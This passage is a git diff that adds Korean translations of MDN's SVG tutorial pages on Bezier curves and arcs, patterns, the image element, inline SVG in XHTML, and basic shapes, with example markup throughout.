+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;path d="M10 80 Q 95 10 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>3차 베지어 곡선과 같이 2차 베지어 곡선을 연결하는 단축 명령어가 있으며, T라고 부른다.</p>
+
+<pre> T x y (혹은 t dx dy)
+</pre>
+
+<p>이 축약 명령어는 이전에 사용한 제어점으로부터 새로운 제어점을 만들어낸다. 즉, 처음에 제어점 하나만을 기술하면 끝점만을 계속 이어서 꽤 복잡한 도형을 만들 수 있다.</p>
+
+<div class="note">
+<p>Q나 T 명령어 다음에 올 때만 적용된다. 그렇지 않을 경우 제어점은 시작점의 좌표로 간주되며, 직선만 그릴 수 있게 된다.</p>
+</div>
+
+<p><img alt="Shortcut_Quadratic_Bezier_with_grid.png" class="internal" src="https://mdn.mozillademos.org/files/10407/Shortcut_Quadratic_Bezier_with_grid.png" style="float: right; height: 158px; width: 188px;"></p>
+
+<pre class="brush: xml">&lt;svg width="190" height="160" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;path d="M10 80 Q 52.5 10, 95 80 T 180 80" stroke="black" fill="transparent"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>두 종류의 곡선이 비슷한 결과를 만들어내긴 하지만, 3차 곡선의 경우 모양을 더 자유롭게 수정할 수 있다. 둘 중 어느 것이 좋은지는 그때그때 다르며, 선 모양이 얼마나 대칭적인지에 따라 달라진다.</p>
+
+<h3 id="Arcs" name="Arcs">원호</h3>
+
+<p>SVG로 그릴 수 있는 다른 형태의 곡선으로는 A라고 부르는 호(arc)가 있다. 호는 원이나 타원의 일부분을 말한다. x, y축 반지름이 주어졌을 때, (두 점이 충분히 가깝다고 가정할 때) 두 점을 연결할 수 있는 타원은 2개가 있으며, 각각의 타원에서 두 점을 잇는 경로 또한 2개씩 있기 때문에 어떤 상황에서든 네 종류의 호를 그릴 수 있다. 이러한 성질 때문에 호 명령어는 꽤 많은 파라미터를 받는다:</p>
+
+<pre> A rx ry x축-회전각 큰-호-플래그 쓸기-방향-플래그 x y
+ a rx ry x축-회전각 큰-호-플래그 쓸기-방향-플래그 dx dy
+</pre>
+
+<p>A 명령어는 일단 x축, y축 반지름을 매개변수로 받는다. 혹시 필요하다면 <a href="/ko/docs/Web/SVG/Element/ellipse">ellipse</a> 문서에서 두 매개변수가 어떻게 작동하는지 확인해볼 수 있다. 세 번째 매개변수는 호의 회전각을 기술한다. 이는 아래 예제에서 잘 확인할 수 있다.</p>
+
+<p><img alt="SVGArcs_XAxisRotation_with_grid" class="internal" src="https://mdn.mozillademos.org/files/10409/SVGArcs_XAxisRotation_with_grid.png" style="float: right; height: 201px; width: 200px;"></p>
+
+<pre class="brush: xml">&lt;svg width="320" height="320" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;path d="M10 315
+ L 110 215
+ A 30 50 0 0 1 162.55 162.45
+ L 172.55 152.45
+ A 30 50 -45 0 1 215.1 109.9
+ L 315 10" stroke="black" fill="green" stroke-width="2" fill-opacity="0.5"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>이 예제는 페이지를 대각선으로 가로질러 이동하는 패스인데, 그 중간에 두 개의 타원형 호가 절단되어 있다(x축 반지름 = 30, y축 반지름 = 50). 첫 번째는 x축 회전각이 0이므로 호의 기준이 되는 타원(회색으로 표시)은 위아래로 똑바로 서 있다. 두 번째 호는 x축 회전각이 -45도이므로 회전을 해서 예제에서 보이는 것처럼 타원의 단축과 패스 방향이 나란해졌다.</p>
+
+<p>위에서 언급한 네 가지 경로는 이어지는 두 개의 매개변수 플래그에 의해 결정된다. 앞서 언급했듯이, 두 점을 잇는 타원도 2개, 각각 취할 수 있는 방향도 2개이므로 모두 네 가지 경로가 가능하다. 첫 번째 인수는 큰 호 플래그(large-arc-flag)이며, 중심각이 180도 이상이 될지를 결정한다. 결국, 이 플래그는 호가 주어진 원의 어느 방향을 따라 돌지를 결정한다. 두 번째 인수는 쓸기 방향 플래그(sweep-flag)이며, 호가 이동해야 할 각이 음인지 양인지를 결정한다. 이 각은 본질적으로 두 개의 원 중 어느 쪽을 따를지를 결정한다. 아래 예는 네 가지 가능한 조합을 각 사례별로 두 개의 원과 함께 표시하고 있다.</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/345/=SVGArcs_Flags.png" style="float: right;"></p>
+
+<pre class="brush: xml">&lt;svg width="325" height="325" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;path d="M80 80
+ A 45 45, 0, 0, 0, 125 125
+ L 125 80 Z" fill="green"/&gt;
+ &lt;path d="M230 80
+ A 45 45, 0, 1, 0, 275 125
+ L 275 80 Z" fill="red"/&gt;
+ &lt;path d="M80 230
+ A 45 45, 0, 0, 1, 125 275
+ L 125 230 Z" fill="purple"/&gt;
+ &lt;path d="M230 230
+ A 45 45, 0, 1, 1, 275 275
+ L 275 230 Z" fill="blue"/&gt;
+&lt;/svg&gt;</pre>
+
+<p><span id="result_box" lang="ko"><span>마지막 두 개의 매개변수는 호가 끝나는 x와 y 좌표를 지정한다. </span><span>호는 도면에서 원 또는 타원 조각을 쉽게 만들 수 있는 방법이다. </span><span>예를 들어 원그래프는 각 조각마다 다른 호가 필요하다.</span></span></p>
+
+<p>원을 한 바퀴 도는 패스의 경우 시작점과 끝점이 같으므로 선택할 수 있는 원이 무한히 있으며, 그러므로 실제 패스가 정의되지 않는다. 이때는 시작점과 끝점을 살짝 비뚤어지게 배치하고 이 둘을 다른 패스 선으로 마저 이음으로써 비슷하게 만들 수 있지만, 이때는 실제 원이나 타원 노드를 쓰는 것이 쉬울 때가 많다.</p>
+
+<p><a href="/ko/docs/Web/HTML/Canvas">캔버스</a>에서 SVG로 넘어오는 사람에게는 호가 가장 배우기 어려울 수도 있지만, 그런 만큼 강력하기도 하다. 다음 반응형 예제를 보면 SVG 호의 개념을 이해하는 데 도움이 될 것이다. <a href="http://codepen.io/lingtalfi/pen/yaLWJG">http://codepen.io/lingtalfi/pen/yaLWJG</a> (크롬과 파이어폭스로만 테스트했으므로 일부 브라우저에서 동작하지 않을 수 있음)</p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Basic_Shapes", "Web/SVG/Tutorial/Fills_and_Strokes") }}</p>
diff --git a/files/ko/web/svg/tutorial/patterns/index.html b/files/ko/web/svg/tutorial/patterns/index.html
new file mode 100644
index 0000000000..025c9ad3c8
--- /dev/null
+++ b/files/ko/web/svg/tutorial/patterns/index.html
@@ -0,0 +1,72 @@
+---
+title: 패턴
+slug: Web/SVG/Tutorial/Patterns
+tags:
+ - 패턴
+translation_of: Web/SVG/Tutorial/Patterns
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Gradients", "Web/SVG/Tutorial/Texts") }}</p>
+
+<h2 id="패턴">패턴</h2>
+
+<p>패턴은 SVG에 사용할 보다 복잡한 채움 형태의 하나다.  또한 강력하다, 그래서 관련해서 얘기하고 적어도 기본을 익히는 것은 가치가 있다. 색퍼짐(gradients)처럼, 이 {{SVGElement('pattern')}} 요소도 SVG 파일의 <code>&lt;defs&gt;</code> 섹션에 놓여야 한다.</p>
+
+<pre class="brush: html">&lt;svg width="200" height="200" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;defs&gt;
+    &lt;linearGradient id="Gradient1"&gt;
+      &lt;stop offset="5%" stop-color="white"/&gt;
+      &lt;stop offset="95%" stop-color="blue"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;linearGradient id="Gradient2" x1="0" x2="0" y1="0" y2="1"&gt;
+      &lt;stop offset="5%" stop-color="red"/&gt;
+      &lt;stop offset="95%" stop-color="orange"/&gt;
+    &lt;/linearGradient&gt;
+
+    &lt;pattern id="Pattern" x="0" y="0" width=".25" height=".25"&gt;
+      &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+      &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+      &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+    &lt;/pattern&gt;
+  &lt;/defs&gt;
+
+  &lt;rect fill="url(#Pattern)" stroke="black" width="200" height="200"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{ EmbedLiveSample('Patterns','220','220','/files/725/SVG_Pattern_Example.png') }}</p>
+
+<p>패턴 요소 안에는 앞서 포함시킨 다른 기본 도형(shape)의 뭐라도 포함시킬 수 있다. 그리고 그것 각각에 앞서 배운 색퍼짐(gradients)이나 투명(opacity) 등으로 스타일을 줄 수 있다. 여기서 우리는 두개의 사각형(둘은 겹쳐 있고, 하나가 다른 것보다 2배 크기다. 이것이 패턴 전체를 채운다)과 하나의 동그라미를 그려 넣었다.</p>
+
+<p>패턴 관련 복잡한 작업이 단위 체계와 그 크기를 정하는 일이다. 위 예제에서, 우리는 패턴의 <code>폭(width)</code>과 <code>높이(height)</code> 속성을 정의했다. 이것들은 반복되는 패턴들이 서로 얼마나 떨어지는지를 나타내는 값이다. 이 사각형의 시작위치가 도면의 어딘가로부터 원하는 만큼 밀려나도록 하는 <code>x</code>와 <code>y</code> 속성도 가능한다. 이들이 여기에 사용된 이유는 아래에서 설명한다.</p>
+
+<p>패턴에도 앞서 봤던 <code>gradientUnits</code>같은 속성이 있다. <code>patternUnits</code>는 단위를 명시한다. 기본값은 마찬가지로 "objectBoundingBox"이다. 그래서 패턴이 적용될 객체의 폭/높이가 1로 표현된다. 그러므로 이 경우, 폭과 높이가 0.25로 설정되었으므로 우리가 원한 것은 수평과 수직으로 패턴이 4번 반복되는 것이다. 그 말은 패턴의 크기는 전체 박스 크기의 단지 0.25만큼이라는 것이다.</p>
+
+<p>색퍼짐(gradients)과 달리 패턴은 두번째 속성인 <code>patternContentUnits</code>을 가진다. 이것은 패턴 요소 내부의 기본 도형에 적용되는 단위 체계다. 기본값은 "userSpaceOnUse"로 <code>patternUnits</code> 속성과 반대다. 이 말은 이들 속성들(<code>patternContentUnits</code>과 <code>patternUnits</code>)을 따로 지정하지 않으면, 우리가 패턴 내부에 그리는 도형들은 패턴 요소가 사용하는 것과 다른 좌표 체계로 그려진다는 것이다. 이것은 직접 작성할 때 살짝 혼란스러울 수 있다는 것이다. 위 예제에서 이 일을 제대로 하려면, 우리의 박스 크기(200픽셀)와 우리가 수평과 수직으로 4번 반복되기를 원한다는 것을 감안해야 한다. 이 말은 각 패턴은 50x50의 정사각형이라는 것이다. 그래서 패턴 안, 두개의 사각형과 하나의 동그라미는 50x50 박스에 맞는 크기로 됐던 것이다. 이 박스 바깥에 그려지는 것들은 그게 뭐든 보이지 않을 것이다. 이 패턴은 또한 10 픽셀 만큼 밀려나야 한다 그래서 이것은 우리의 상자 왼쪽 위에서 시작할 것이다. 그래서 패턴의 x와 y 속성은 10/200 = 0.05로 조정 되어져야 한다.<br>
+ (역주: 예제의 x, y는 0인데, 설명은 계속 10인 것처럼 하고 있다. 뭔가 오류가 있는 것 같다)</p>
+
+<p>여기서 주의사항은 객체가 크기를 바꾸면 패턴도 그에 맞게 조정되지만, 그 내부는 그렇지 않다는 거다. 그래서 우리는 여전히 4번 반복된 패턴을 가지겠지만 내부의 객체들은 같은 크기를 유지할 것이고 그들 간에 커다란 빈 공간을 직면할 것이다. <code>patternContentUnits</code> 속성을 바꿔서 우리는 모든 요소가 같은 단위 체계에 놓이도록 할 수 있다:</p>
+
+<pre class="brush: xml"> &lt;pattern id="Pattern" width=".25" height=".25" patternContentUnits="objectBoundingBox"&gt;
+ &lt;rect x="0" y="0" width=".25" height=".25" fill="skyblue"/&gt;
+ &lt;rect x="0" y="0" width=".125" height=".125" fill="url(#Gradient2)"/&gt;
+ &lt;circle cx=".125" cy=".125" r=".1" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+
+<p>이제 패턴 내용물은 패턴과 같은 단위 체계라, 패턴이 바른 위치에서 시작하게 하려면 시작위치를 밀어내지 않아야 한다. 그리고 객체의 크기가 더 커지면 패턴은 자동적으로 조정되어 같은 수의 객체와 같은 회수로 반복될 것이다. 이것은 객체의 크기가 변했을 때, 패턴의 크기를 그대로 유지하면서 그냥 반복을 더해서 박스를 채우는 "userSpaceOnUse" 체계와 대조적이다.</p>
+
+<p><span id="result_box" lang="ko"><span>Gecko에서 반지름이 0.075보다 작은 동그라미를 </span></span><span lang="ko"><span>그리는 데 어려움이 있다(현재 이것이 패턴 요소에서의 버그인지 아닌지는 알 수 없다).</span> <span>이 문제를 해결하려면 </span>꼭 해야 하는 것이 아니라면 <span>"objectBoundingBox" 단위에서 그리는 것을 피하는 것이 아마 최선일 것이다.</span></span></p>
+
+<p><span id="result_box" lang="ko"><span>어느 것도 패턴을 생각할 때 일반적으로 생각하는 것이 아닙니다.</span> <span>패턴은 보통 크기가 정해지고, 객체의 모양과는 독립적으로 반복됩니다.</span> <span>이런 식으로 만들려면 패턴과 내용 둘다 현재의 사용자 공간에서 그려져야 한다. 객체를 다음처럼 하고, 도형을 바꾸지 않는다.</span></span></p>
+
+<pre class="brush: xml"> &lt;pattern id="Pattern" x="10" y="10" width="50" height="50" patternUnits="userSpaceOnUse"&gt;
+ &lt;rect x="0" y="0" width="50" height="50" fill="skyblue"/&gt;
+ &lt;rect x="0" y="0" width="25" height="25" fill="url(#Gradient2)"/&gt;
+ &lt;circle cx="25" cy="25" r="20" fill="url(#Gradient1)" fill-opacity="0.5"/&gt;
+ &lt;/pattern&gt;
+</pre>
+
+<p>물론 나중에 개체 크기를 변경해도 패턴의 크기는 조정되지 않는다. 위의 세 가지 예는 아래 높이를 300px로 약간 늘린 직사각형에 보이고 있지만 이게 완벽한 그림이 아니고, 시스템에 따라 가능한 다른 요인이 있음을 밝혀 둔다.</p>
+
+<p><img alt="Image:SVG_Pattern_Comparison_of_Units.png" class="internal" src="/@api/deki/files/349/=SVG_Pattern_Comparison_of_Units.png"></p>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/Gradients", "Web/SVG/Tutorial/Texts") }}</p>
diff --git a/files/ko/web/svg/tutorial/svg_image_tag/index.html b/files/ko/web/svg/tutorial/svg_image_tag/index.html
new file mode 100644
index 0000000000..1fa061c57f
--- /dev/null
+++ b/files/ko/web/svg/tutorial/svg_image_tag/index.html
@@ -0,0 +1,35 @@
+---
+title: SVG 이미지 요소
+slug: Web/SVG/Tutorial/SVG_Image_Tag
+tags:
+ - 이미지
+ - 학습서
+translation_of: Web/SVG/Tutorial/SVG_Image_Tag
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Fonts", "Web/SVG/Tutorial/Tools_for_SVG") }}</p>
+
+<p>SVG {{ SVGElement("image") }} 요소는 비트맵 이미지를 SVG 객체와 함께 표시할 수 있도록 해 준다.</p>
+
+<p>이 기본 예제에서, {{ SVGAttr("href") }} 속성으로 참조된 a .jpg 이미지는 SVG 객체 내부에 표시될 것이다:</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
+ "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"&gt;
+&lt;svg width="5cm" height="4cm" version="1.1"
+ xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"&gt;
+ &lt;image xlink:href="firefox.jpg" x="0" y="0" height="50px" width="50px"/&gt;
+&lt;/svg&gt;</pre>
+
+<p>다음 몇가지를 주의하라(<a class="external" href="http://www.w3.org/TR/SVG/struct.html#ImageElement" title="http://www.w3.org/TR/SVG/struct.html#ImageElement">W3 specs</a> 참조):</p>
+
+<ul>
+ <li>
+ <p>x 또는 y 속성을 설정하지 않으면 0이 된다.</p>
+ </li>
+ <li>
+ <p>height 또는 width 속성을 설정하지 않으면, 0이 된다.</p>
+ </li>
+ <li>height 또는 width 속성이 0이면 이미지는 표시되지 않을 것이다.</li>
+</ul>
+
+<p>{{ PreviousNext("Web/SVG/Tutorial/SVG_Fonts", "Web/SVG/Tutorial/Tools_for_SVG") }}</p>
diff --git a/files/ko/web/svg/tutorial/svg_in_html_introduction/index.html b/files/ko/web/svg/tutorial/svg_in_html_introduction/index.html
new file mode 100644
index 0000000000..4e06135569
--- /dev/null
+++ b/files/ko/web/svg/tutorial/svg_in_html_introduction/index.html
@@ -0,0 +1,73 @@
+---
+title: SVG In HTML Introduction
+slug: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+tags:
+ - SVG
+translation_of: Web/SVG/Tutorial/SVG_In_HTML_Introduction
+---
+<p> </p>
+<h3 id=".EA.B0.9C.EC.9A.94" name=".EA.B0.9C.EC.9A.94">개요</h3>
+<p>이 문서와 관련된 예제는 form의 배경 그림을 제공하기 위해서 inline <a href="ko/SVG">SVG</a>를 어떻게 사용하는지를 보여줍니다. 정규 XHTML을 작성하는 것과 같은 방식으로 그 그림들을 조작하기 위해 <a href="ko/JavaScript">JavaScript</a>와 <a href="ko/CSS">CSS</a>의 사용법도 설명합니다. 예제들은 XHTML(HTML이 아님)과 SVG integration을 지원하는 웹브라우져에서만 동작함을 유의하시기 바랍니다.</p>
+<h3 id=".EC.86.8C.EC.8A.A4" name=".EC.86.8C.EC.8A.A4">소스</h3>
+<p>예제에 대한 소스는 <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/svg-canvas/SVGDemo.xml">여기</a>:</p>
+<pre>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+&lt;head&gt;
+ &lt;title&gt;XTech SVG Demo&lt;/title&gt;
+ &lt;style&gt;
+ stop.begin { stop-color:yellow; }
+ stop.end { stop-color:green; }
+ body.invalid stop.end { stop-color:red; }
+ #err { display:none; }
+ body.invalid #err { display:inline; }
+ &lt;/style&gt;
+ &lt;script&gt;
+ function signalError() {
+ document.getElementById('body').setAttribute("class", "invalid");
+ }
+ &lt;/script&gt;
+&lt;/head&gt;
+&lt;body id="body"
+ style="position:absolute; z-index:0; border:1px solid black; left:5%; top:5%; width:90%; height:90%;"&gt;
+ &lt;form&gt;
+ &lt;fieldset&gt;
+ &lt;legend&gt;HTML Form&lt;/legend&gt;
+ &lt;p&gt;&lt;label&gt;Enter something:&lt;/label&gt;
+ &lt;input type="text"/&gt;
+ &lt;span id="err"&gt;Incorrect value!&lt;/span&gt;&lt;/p&gt;
+ &lt;p&gt;&lt;button onclick="signalError();"&gt;Activate!&lt;/button&gt;&lt;/p&gt;
+ &lt;/fieldset&gt;
+ &lt;/form&gt;
+ &lt;svg xmlns="http://www.w3.org/2000/svg" version="1.1"
+ viewBox="0 0 100 100" preserveAspectRatio="xMidYMid slice"
+ style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:-1;"&gt;
+ &lt;linearGradient id="gradient"&gt;
+ &lt;stop class="begin" offset="0%"/&gt;
+ &lt;stop class="end" offset="100%"/&gt;
+ &lt;/linearGradient&gt;
+ &lt;rect x="0" y="0" width="100" height="100" style="fill:url(#gradient)" /&gt;
+ &lt;circle cx="50" cy="50" r="30" style="fill:url(#gradient)" /&gt;
+ &lt;/svg&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="Discussion" name="Discussion">Discussion</h3>
+<p>위 페이지는 주로 정규 XHTML, CSS, JavaScript입니다. 다만 흥미로운 부분은 위 페이지에 포함되어 있는 &lt;svg&gt;원소입니다. 이 원소와 그 자식들은 SVG 네임스페이스 상에서 선언되어 있습니다. 이 원소는 하나의 색변화도(그라데이션)와 이 색변화도에 따라 내부가 채워진 두개의 도형을 포함하고 있습니다. 색변화도의 양끝의 색깔은 CSS에서 지정된 색을 가집니다. 만약 사용자가 form에 잘못된 내용을 입력하였다면 스크립트는 &lt;body&gt;태그에 <code>invalid</code>속성을 설정하고 스타일 규칙은 색변화도의 <code>end-stop</code>색을 빨간색으로 변경합니다. (나머지 스타일 규칙에 따라 에러 메시지가 출력됩니다.)</p>
+<p>이 방식은 수고면에서 다음과 같은 특징을 가집니다:</p>
+<ul>
+ <li>우리는 기존의 웹사이트들에서 이전부터 사용되어온 정규 XHTML의 form을 사용했으며 여기에 매력적이고 인터랙티브한 배경그림까지도 추가했습니다.</li>
+ <li>이 방식은 SVG를 지원하지 않는 웹브라우져와 하위 호완성을 가집니다; 단순히 이들 웹브라우져에서는 배경그림만 없을 뿐입니다.</li>
+ <li>단순한 방식이며 아주 잘 동작합니다.</li>
+ <li>그림은 동적으로 필요한 크기에 따라 영리하게 스스로 크기를 변경합니다.</li>
+ <li>HTML과 SVG 모두에게 적용될 수 있는 선언적 스타일 규칙들을 가질 수 있습니다.</li>
+ <li>같은 스크립트가 HTML과 SVG 모두를 조작할 수 있습니다.</li>
+ <li>문서는 완전히 표준에 기반하고 있습니다.</li>
+</ul>
+<h3 id="Details" name="Details">Details</h3>
+<p><code>viewBox</code>속성은 SVG 그림의 좌표계에 상대적인 논리적 좌표계를 생성합니다. 이 경우 그림은 100x100크기의 뷰포트에 놓여집니다.</p>
+<p><code>preserveAspectRatio</code>속성은 주어진 크기내에 그림을 넣을때 그림의 높이나 폭을 최대로 해서 주어진 크기에 맞게 그림을 맞추고 넘어가는 부분들을 잘라냄으로써 그림의 비율이 보존되도록 지정합니다.</p>
+<p><code>style</code>속성은 SVG 원소를 form의 배경에 고정시킵니다.</p>
+<h3 id="Related_Links" name="Related_Links">Related Links</h3>
+<ul>
+ <li>Another SVG in XHTML example: <a href="ko/SVG/Namespaces_Crash_Course/Example">A swarm of motes</a></li>
+ <li><a class="external" href="http://svg-whiz.com/wiki/index.php?title=Inline_SVG">Inline SVG</a> page on SVG wiki</li>
+</ul>
+<p>{{ languages( { "pl": "pl/SVG_w_XHTML_-_Wprowadzenie", "fr": "fr/Introduction_\u00e0_SVG_dans_HTML", "ja": "ja/SVG_In_HTML_Introduction" } ) }}</p>
diff --git a/files/ko/web/svg/tutorial/기본_도형/index.html b/files/ko/web/svg/tutorial/기본_도형/index.html
new file mode 100644
index 0000000000..8169e4c890
--- /dev/null
+++ b/files/ko/web/svg/tutorial/기본_도형/index.html
@@ -0,0 +1,141 @@
+---
+title: 기본 도형
+slug: Web/SVG/Tutorial/기본_도형
+translation_of: Web/SVG/Tutorial/Basic_Shapes
+---
+<p>{{ PreviousNext("Web/SVG/Tutorial/Positions", "Web/SVG/Tutorial/Paths") }}</p>
+
+<p>SVG 드로잉에는 몇 가지 기본 도형들이 있다. 도형들의 목적은 이름에서 명백하게 알 수 있다. 도형들의 위치와 크기를 지정하는 몇몇 속성들은 주어지지만, 여기에서 다뤄지지 않는 다른 속성들과 함께 더 정확하고 완전한 설명이 있는 레퍼런스를 첨부해 두겠다. 그러나, 대부분의 SVG 문서에서 사용되기 때문에 몇 가지 소개를 해줘야한다.</p>
+
+<h2 id="Basic_shapes" name="Basic_shapes">기본적인 도형들</h2>
+
+<p>도형을 삽입하기 위해서는 당신은 문서안에 요소를 만들어야 한다. 서로다른 요소들은 다른 모양에 해당하며, 서로 다른 속성들을 사용하여 해당 모양의 크기와 위치를 나타낸다. 일부는 다른 모양으로 생성 될 수 있다는 점에서 약간 중복되지만, 사용자의 편의를 위해 SVG 문서를 가능한 짧고 가독성있게 유지하기 위해서 모두 제공된다. 모든 기본 도형은 오른쪽 이미지에 표시된다. 기본 도형을 생성하는 코드는 다음과 같다:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/359/=Shapes.png" style="float: right;"></p>
+
+<pre class="brush:xml">&lt;?xml version="1.0" standalone="no"?&gt;
+&lt;svg width="200" height="250" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;
+
+ &lt;rect x="10" y="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/&gt;
+ &lt;rect x="60" y="10" rx="10" ry="10" width="30" height="30" stroke="black" fill="transparent" stroke-width="5"/&gt;
+
+ &lt;circle cx="25" cy="75" r="20" stroke="red" fill="transparent" stroke-width="5"/&gt;
+ &lt;ellipse cx="75" cy="75" rx="20" ry="5" stroke="red" fill="transparent" stroke-width="5"/&gt;
+
+ &lt;line x1="10" x2="50" y1="110" y2="150" stroke="orange" stroke-width="5"/&gt;
+ &lt;polyline points="60 110 65 120 70 115 75 130 80 125 85 140 90 135 95 150 100 145"
+ stroke="orange" fill="transparent" stroke-width="5"/&gt;
+
+ &lt;polygon points="50 160 55 180 70 180 60 190 65 205 50 195 35 205 40 190 30 180 45 180"
+ stroke="green" fill="transparent" stroke-width="5"/&gt;
+
+ &lt;path d="M20,230 Q40,205 50,230 T90,230" fill="none" stroke="blue" stroke-width="5"/&gt;
+&lt;/svg&gt;</pre>
+
+<div class="note"><strong>Note:</strong> <code>stroke</code>, <code>stroke-width</code> 그리고 <code>fill</code> 속성들은 튜토리얼 뒤쪽에서 설명한다.</div>
+
+<h3 id="Rectangles" name="Rectangles">Rectangles 사각형</h3>
+
+<p><a href="/en-US/Web/SVG/Element/rect" title="en-US/Web/SVG/Element/rect">rect</a> 요소는 당신이 생각하는 것과 일치하며 화면에 사각형을 그린다. 여기에는 화면상에서 직사각형의 위치와 모양을 제어하는 6가지 기본 속성만 있다. 앞서 보여준 이미지는 두 개의 rect 요소를 보여주며 약간 중복된다. 오른쪽에 있는 이미지는 rx 와  ry 속성이 설정되어 있어서 모서리가 둥글다. rx 와 ry 가 설정되지 않은 경우에는 기본값 0으로 들어간다.</p>
+
+<pre class="brush:xml">&lt;rect x="10" y="10" width="30" height="30"/&gt;
+&lt;rect x="60" y="10" rx="10" ry="10" width="30" height="30"/&gt;</pre>
+
+<dl>
+ <dt>x</dt>
+ <dd>사각형의 좌측 상단의 x 값을 의미한다.</dd>
+ <dt>y</dt>
+ <dd>사각형의 좌측 상단의 y 값을 의미한다.</dd>
+ <dt>width</dt>
+ <dd>사각형의 폭을 나타낸다.</dd>
+ <dt>height</dt>
+ <dd>사각형의 높이를 나타낸다. </dd>
+ <dt>rx</dt>
+ <dd>사각형의 둥근 꼭짓점의 x 방향으로의 반지름이다.</dd>
+ <dt>ry</dt>
+ <dd>사각형의 둥근 꼭짓점의 y 방향으로의 반지름이다.</dd>
+</dl>
+
+<h3 id="Circle" name="Circle">Circle 원</h3>
+
+<p>당신이 추측한 것 처럼, <a href="/en-US/Web/SVG/Element/circle" title="en-US/Web/SVG/Element/circle">circle</a> 요소는 화면에 원을 그린다. circle 요소에 실제로 적용할 수 있는 속성은 세 가지 뿐이다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;circle cx="25" cy="75" r="20"/&gt;</pre>
+
+<dl>
+ <dt>r</dt>
+ <dd>원의 반지름을 의미한다.</dd>
+ <dt>cx</dt>
+ <dd>원의 중심 중 x 값을 의미한다.</dd>
+ <dt>cy</dt>
+ <dd>원의 중심 중 y 값을 의미한다.</dd>
+</dl>
+
+<h3 id="Ellipse" name="Ellipse">Ellipse 타원</h3>
+
+<p><a href="/en-US/Web/SVG/Element/ellipse" title="en-US/Web/SVG/Element/ellipse">Ellipse</a>s은 원의 x와 y 반경 (수학자들은 장반경, 단반경 이라고 함)을 개별적으로 확장 할 수 있는 circle 요소의 좀 더 일반적인 형태이다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;ellipse cx="75" cy="75" rx="20" ry="5"/&gt;</pre>
+
+<dl>
+ <dt>rx</dt>
+ <dd>타원의 x 방향으로의 반지름의 길이를 의미한다.</dd>
+ <dt>ry</dt>
+ <dd>타원의 y 방향으로의 반지름의 길이를 의미한다.</dd>
+ <dt>cx</dt>
+ <dd>타원의 중심 중 x 값을 의미한다.</dd>
+ <dt>cy</dt>
+ <dd>타원의 중심 중 y 값을 의미한다.</dd>
+</dl>
+
+<h3 id="Line" name="Line">Line 선</h3>
+
+<p><a href="/en-US/Web/SVG/Element/line" title="en-US/Web/SVG/Element/line">Line</a>s은 단지 직선이다. line 요소는 선의 시작과 끝 지점을 지정하는 두 점을 속성으로 갖는다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;line x1="10" x2="50" y1="110" y2="150"/&gt;</pre>
+
+<dl>
+ <dt>x1</dt>
+ <dd>점 1의 x 값이다.</dd>
+ <dt>y1</dt>
+ <dd>점 1의 y 값이다.</dd>
+ <dt>x2 </dt>
+ <dd>점 2의 x 값이다.</dd>
+ <dt>y2</dt>
+ <dd>점 2의 y 값이다.</dd>
+</dl>
+
+<h3 id="Polyline" name="Polyline">Polyline</h3>
+
+<p><a href="/en-US/Web/SVG/Element/polyline" title="en-US/Web/SVG/Element/polyline">Polyline</a>s은 연결된 직선들의 그룹이다. 그 목록(직선들)은 꽤 길어질 수 있기 때문에 모든 포인트가 하나의 속성에 포함된다.</p>
+
+<pre class="brush:xml;gutter:false;">&lt;polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/&gt;</pre>
+
+<dl>
+ <dt>points</dt>
+ <dd>포인트들의 목록, 각 숫자는 공백, 쉼표, EOL 또는 줄 바꿈 문자로 구분된다. 각 포인트는 반드시 x 좌표와 y 좌표를 가지고 있어야 한다. 따라서 포인트 목록 (0,0), (1,1) 및 (2,2)는 "0 0, 1 1, 2 2"라고 쓸 수 있다.</dd>
+</dl>
+
+<h3 id="Polygon" name="Polygon">Polygon 다각형</h3>
+
+<p><a href="/en-US/Web/SVG/Element/polygon" title="en-US/Web/SVG/Element/polygon">Polygon</a>s은 점을 연결하는 직선으로 구성된다는 점에서 polyline과 매우 유사하다. 하지만 다각형의 경우, 자동으로 마지막 포인트로부터 첫 번째 포인트로 직선을 만들어서 닫힌 모양을 만든다. 사각형은 다각형의 하나이므로, 융통성있는 사각형을 필요로 하는 경우 polygon 요소를 사용해서 rect 요소를 만들 수 있다.</p>
+
